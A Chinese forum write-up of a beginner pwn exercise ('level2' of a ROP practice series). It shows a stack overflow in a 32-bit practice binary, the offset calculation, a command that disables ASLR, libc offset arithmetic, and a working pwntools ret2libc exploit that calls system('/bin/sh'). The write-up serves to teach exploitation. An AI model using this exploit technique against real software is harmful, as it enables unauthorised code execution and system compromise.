-
-
[原创]蒸米ROP基础pwn-Level2
-
发表于:
2024-4-25 19:46
3120
-
SkYe Wiki
蒸米ROP笔记
github仓库
1.环境
ubuntu1~16.04.12
pwndbg
pwn:level2
Libc查询网站
2.目标
通过栈溢出控制程序流,学习手动计算Libc偏移量。
3.流程
3.1检查保护措施
1 2 3 4 5 6 7 8 | giantbranch@ubuntu:~ / pwn / ROP_STEP_BY_STEP / linux_x86$ checksec level2
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2 )
[ * ] '/home/giantbranch/pwn/ROP_STEP_BY_STEP/linux_x86/level2'
Arch: i386 - 32 - little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x8048000 )
|
3.2 漏洞点
漏洞发生溢出的地方是 vulnerable_function函数
1 2 3 4 5 6 | ssize_t vulnerable_function()
{
char buf[ 136 ]; / / [esp + 10h ] [ebp - 88h ] BYREF
return read( 0 , buf, 0x100u );
}
|
读取的大小超过缓冲区
3.3 解题
动态调试下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 00 : 0000 │ esp 0xffffd180 ◂— 0x0
01 : 0004 │ 0xffffd184 —▸ 0xffffd190 ◂— 0x61616161 ( 'aaaa' )
02 : 0008 │ 0xffffd188 ◂— 0x100
03 : 000c │ 0xffffd18c ◂— 0x1
04 : 0010 │ ecx 0xffffd190 ◂— 0x61616161 ( 'aaaa' )
05 : 0014 │ 0xffffd194 ◂— 0x61616162 ( 'baaa' )
06 : 0018 │ 0xffffd198 ◂— 0x61616163 ( 'caaa' )
07 : 001c │ 0xffffd19c ◂— 0x61616164 ( 'daaa' )
EAX 0x89
EBX 0x0
ECX 0xffffd190 ◂— 0x61616161 ( 'aaaa' )
EDX 0x100
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
EBP 0xffffd218 —▸ 0xffffd20a ◂— 0x61676261 ( 'abga' )
ESP 0xffffd180 ◂— 0x0
EIP 0x804842b (vulnerable_function + 39 ) ◂— leave
|
关键的一步计算溢出多少可以覆盖到Ebp
ebp−ecx = 溢出可以覆盖到ebp的大小
0xffffd218 - 0xffffd190 = 0x88
现在有个很重要的问题为什么不是 ebp−esp ,因为这样计算是整个栈帧的大小不是溢出的大小,可以栈中看到数据是从ecx开始生长。
关闭地址随机化解决 RELRO的问题
1 2 3 | sudo - S
echo 0 > / proc / sys / kernel / randomize_va_space
exit
|
堆栈不可执行就算shellcode覆盖到堆栈也是没执行权限的。
每个程序都会调用函数库libc.so,而且里面还有system(/bin/sh)函数可以用来获取shell
system() 和 /bin/sh 需要去计算偏移量获取它们的内存地址。
公式是这样的比如 你想得到str_bin_sh的地址
libc基地址 = system_addr - 0x03adb0
str_bin_sh_addr = 0x15bb0b + libc基地址
system_addr通过pwndbg 的print命令就可以得到
1 2 | gdb - peda$ print system
$ 11 = {<text variable, no debug info>} 0xf7e3edb0 <__libc_system>
|
4.Exp
Exp和普通的栈溢出没什么区,主要就是上面的地址计算和溢出计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import *
p = process( 'level2' )
context.log_level = 'debug'
if args.G:
gdb.attach(p, "b *vulnerable_function\r\n" )
str_bin_sh = 0xF7F5FB2B
system_addr = 0xf7e3edb0
ret_system = 0xdeadbeef
payload = b 'a' * 140 + p32(system_addr) + p32(ret_system) + p32(str_bin_sh)
p.send(payload)
p.interactive()
0xf7e3edb0
|
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!